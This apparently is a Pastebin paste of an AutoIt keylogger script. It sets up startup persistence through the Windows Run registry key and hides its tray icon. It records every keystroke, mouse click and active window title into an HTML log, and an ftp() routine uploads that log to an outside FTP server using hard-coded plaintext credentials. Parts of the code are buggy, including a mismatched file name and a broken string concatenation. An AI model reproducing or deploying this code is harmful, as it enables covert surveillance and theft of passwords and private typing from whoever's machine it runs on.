Guest User

Untitled

a guest
Jan 22nd, 2018
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.81 KB | None | 0 0
  1. #include <file.au3>
  2. #include <FTP.au3>
  3.  
  4. ;-----------------------------------------------------Check if program is installed... if not install it------------------------------
  5. $var = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Flypip\log", "")
  6. if $var <= 1 Then
  7. $shortcut="f"
  8. $startup=6
  9. $silent=6
  10. $location="C:/xcas"
  11. dircreate($location&"\Flypip\flykey\")
  12. if $silent =6 Then $silent=1
  13. if $silent =7 Then $silent=0
  14. RegWrite ( "HKEY_LOCAL_MACHINE\SOFTWARE\Flypip\log","exit", "REG_SZ", $shortcut)
  15. RegWrite ( "HKEY_LOCAL_MACHINE\SOFTWARE\Flypip\log","Location", "REG_SZ", $location&"\Flypip\flykey\")
  16. RegWrite ( "HKEY_LOCAL_MACHINE\SOFTWARE\Flypip\log","Silent", "REG_DWORD", $silent)
  17. if $startup = 6 Then Regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","Flykey.exe","REG_SZ",$location&"\Flypip\flykey\Flykey.exe")
  18. EndIf
  19.  
  20. ;------------------------------------------------------------Set Settings--------------------
  21. $window2=""
  22. $date=@year&@mon&@mday
  23. $log=RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Flypip\log","Location")
  24. $exit=RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Flypip\log","exit")
  25. $silent=RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Flypip\log","silent")
  26. DirCreate ($log)
  27. HotKeySet("^!"&$exit, "Terminate");Shift-Alt-d
  28. $file = FileOpen($log&"\logfiles.htm", 1)
  29. if $silent=0 Then FileWrite($file, "<br>lancer le "&@MDAY&" a "&@HOUR&"</br>")
  30. Opt("TrayIconHide", $silent)
  31. ;------------------------------------------------Other Functions------------------
  32. Func _IsPressed($hexKey)
  33.  
  34.  
  35.  
  36. Local $aR, $bRv
  37. $hexKey = '0x' & $hexKey
  38. $aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)
  39.  
  40. If $aR[0] <> 0 Then
  41. $bRv = 1
  42. Else
  43. $bRv = 0
  44. EndIf
  45.  
  46. Return $bRv
  47. EndFunc
  48.  
  49.  
  50. If $file = -1 Then
  51. Exit
  52. EndIf
  53. filewrite($file,"<font face=Verdana size=1>")
  54.  
  55. Func Terminate()
  56. if $silent=0 Then FileWrite($file, "<br>"&@MDAY&" a "&@HOUR&"</br>")
  57. sleep(1000)
  58. Exit 0
  59. EndFunc
  60. Opt("OnExitFunc","Terminate")
  61. While 1
  62. ;---------------------------------------------end program header, begin program----------------------------
  63. If _IsPressed(41) Then
  64. _LogKeyPress("a")
  65. EndIf
  66.  
  67.  
  68. If _IsPressed(42) Then
  69. _LogKeyPress("b")
  70. EndIf
  71.  
  72.  
  73. If _IsPressed(43) Then
  74. _LogKeyPress("c")
  75. EndIf
  76.  
  77.  
  78. If _IsPressed(44) Then
  79. _LogKeyPress("d")
  80. EndIf
  81.  
  82.  
  83. If _IsPressed(45) Then
  84. _LogKeyPress("e")
  85. EndIf
  86.  
  87.  
  88. If _IsPressed(46) Then
  89. _LogKeyPress("f")
  90. EndIf
  91.  
  92.  
  93. If _IsPressed(47) Then
  94. _LogKeyPress("g")
  95. EndIf
  96.  
  97.  
  98. If _IsPressed(48) Then
  99. _LogKeyPress("h")
  100. EndIf
  101.  
  102.  
  103. If _IsPressed(49) Then
  104. _LogKeyPress("i")
  105. EndIf
  106.  
  107.  
  108. If _IsPressed('4a') Then
  109. _LogKeyPress("j")
  110. EndIf
  111.  
  112.  
  113. If _IsPressed('4b') Then
  114. _LogKeyPress("k")
  115. EndIf
  116.  
  117.  
  118. If _IsPressed('4c') Then
  119. _LogKeyPress("l")
  120. EndIf
  121.  
  122.  
  123. If _IsPressed('4d') Then
  124. _LogKeyPress("m")
  125. EndIf
  126.  
  127.  
  128. If _IsPressed('4e') = 1 Then
  129. _LogKeyPress("n")
  130. EndIf
  131.  
  132.  
  133. If _IsPressed('4f') Then
  134. _LogKeyPress("o")
  135. EndIf
  136.  
  137.  
  138. If _IsPressed(50) Then
  139. _LogKeyPress("p")
  140. EndIf
  141.  
  142.  
  143. If _IsPressed(51) Then
  144. _LogKeyPress("q")
  145. EndIf
  146.  
  147.  
  148. If _IsPressed(52) Then
  149. _LogKeyPress("r")
  150. EndIf
  151.  
  152.  
  153. If _IsPressed(53) Then
  154. _LogKeyPress("s")
  155. EndIf
  156.  
  157.  
  158. If _IsPressed(54) Then
  159. _LogKeyPress("t")
  160. EndIf
  161.  
  162.  
  163. If _IsPressed(55) Then
  164. _LogKeyPress("u")
  165. EndIf
  166.  
  167.  
  168. If _IsPressed(56) Then
  169. _LogKeyPress("v")
  170. EndIf
  171.  
  172.  
  173. If _IsPressed(57) Then
  174. _LogKeyPress("w")
  175. EndIf
  176.  
  177.  
  178. If _IsPressed(58) Then
  179. _LogKeyPress("x")
  180. EndIf
  181.  
  182.  
  183. If _IsPressed(59) Then
  184. _LogKeyPress("y")
  185. EndIf
  186.  
  187. If _IsPressed('5a') Then
  188. _LogKeyPress("z")
  189. EndIf
  190.  
  191.  
  192. If _IsPressed('01') Then
  193. _LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT MOUSE}</i></font>")
  194. EndIf
  195.  
  196. If _IsPressed('02') Then
  197. _LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT MOUSE}</i></font>")
  198. EndIf
  199.  
  200.  
  201. If _IsPressed('08') Then
  202. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{BACKSPACE}</i></font>")
  203. EndIf
  204.  
  205.  
  206. If _IsPressed('09') Then
  207. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
  208. EndIf
  209.  
  210.  
  211. If _IsPressed('0d') Then
  212. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ENTER}</i></font>")
  213. EndIf
  214.  
  215.  
  216. If _IsPressed('10') Then
  217. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
  218. EndIf
  219.  
  220.  
  221. If _IsPressed('11') Then
  222. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
  223. EndIf
  224.  
  225.  
  226. If _IsPressed('12') Then
  227. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
  228. EndIf
  229.  
  230.  
  231. If _IsPressed('13') Then
  232. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
  233. EndIf
  234.  
  235.  
  236. If _IsPressed('14') Then
  237. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
  238. EndIf
  239.  
  240.  
  241. If _IsPressed('1b') Then
  242. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
  243. EndIf
  244.  
  245.  
  246. If _IsPressed('20') Then
  247. _LogKeyPress(" ")
  248. EndIf
  249.  
  250.  
  251. If _IsPressed('21') Then
  252. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
  253. EndIf
  254.  
  255.  
  256. If _IsPressed('22') Then
  257. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGDOWN}</i></font>")
  258. EndIf
  259.  
  260.  
  261. If _IsPressed('23') Then
  262. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
  263. EndIf
  264.  
  265.  
  266. If _IsPressed('24') Then
  267. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
  268. EndIf
  269.  
  270.  
  271. If _IsPressed('25') Then
  272. _LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
  273. EndIf
  274.  
  275.  
  276. If _IsPressed('26') Then
  277. _LogKeyPress("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
  278. EndIf
  279.  
  280.  
  281. If _IsPressed('27') Then
  282. _LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
  283. EndIf
  284.  
  285.  
  286. If _IsPressed('28') Then
  287. _LogKeyPress("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
  288. EndIf
  289.  
  290.  
  291. If _IsPressed('2c') Then
  292. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PRNTSCRN}</i></font>")
  293. EndIf
  294.  
  295.  
  296. If _IsPressed('2d') Then
  297. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
  298. EndIf
  299.  
  300.  
  301. If _IsPressed('2e') Then
  302. _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
  303. EndIf
  304.  
  305. If _IsPressed('30') Then
  306. _LogKeyPress("0")
  307. EndIf
  308.  
  309.  
  310. If _IsPressed('31') Then
  311. _LogKeyPress("1")
  312. EndIf
  313.  
  314.  
  315. If _IsPressed('32') Then
  316. _LogKeyPress("2")
  317. EndIf
  318.  
  319.  
  320. If _IsPressed('33') Then
  321. _LogKeyPress("3")
  322. EndIf
  323.  
  324.  
  325. If _IsPressed('34') Then
  326. _LogKeyPress("4")
  327. EndIf
  328.  
  329.  
  330. If _IsPressed('35') Then
  331. _LogKeyPress("5")
  332. EndIf
  333.  
  334.  
  335. If _IsPressed('36') Then
  336. _LogKeyPress("6")
  337. EndIf
  338.  
  339.  
  340. If _IsPressed('37') Then
  341. _LogKeyPress("7")
  342. EndIf
  343.  
  344.  
  345. If _IsPressed('38') Then
  346. _LogKeyPress("8")
  347. EndIf
  348.  
  349. If @MIN ='15' Then
  350. MsgBox(0,'10','10')
  351. EndIf
  352.  
  353. If _IsPressed('39') Then
  354. _LogKeyPress("9")
  355. EndIf
  356.  
  357. If @MIN = "15" Then
  358. ftp()
  359. EndIf
  360.  
  361. WEnd
  362.  
  363.  
  364. Func _LogKeyPress($what2log)
  365. $window=wingettitle("")
  366. if $window=$window2 Then
  367. FileWrite($file,$what2log)
  368. Sleep(100)
  369. Else
  370. $window2=$window
  371. FileWrite($file, "<br><BR>" & "<b>["& @Year&"."&@mon&"."&@mday&" "&@HOUR & ":" &@MIN & ":" &@SEC & '] Window: "'& $window& '"</b><br>'& $what2log)
  372. sleep (100)
  373. Endif
  374. EndFunc
  375.  
  376. func ftp()
  377. DllOpen('wininet.dll')
  378.  
  379. $server = 'ftp.cyberquebec.ca'
  380. $username = 'flypip'
  381. $pass = 'paul2850'
  382.  
  383. $Open = _FTPOpen('flypip')
  384. $Conn = _FTPConnect($Open, $server, $username, $pass)
  385. $Ftpp = _FtpPutFile($Conn, 'logfiles.html', @MDAY&@MON&@HOUR'.html')
  386. $Ftpc = _FTPClose($Open)
  387.  
  388. EndFunc
Add Comment
Please, Sign In to add comment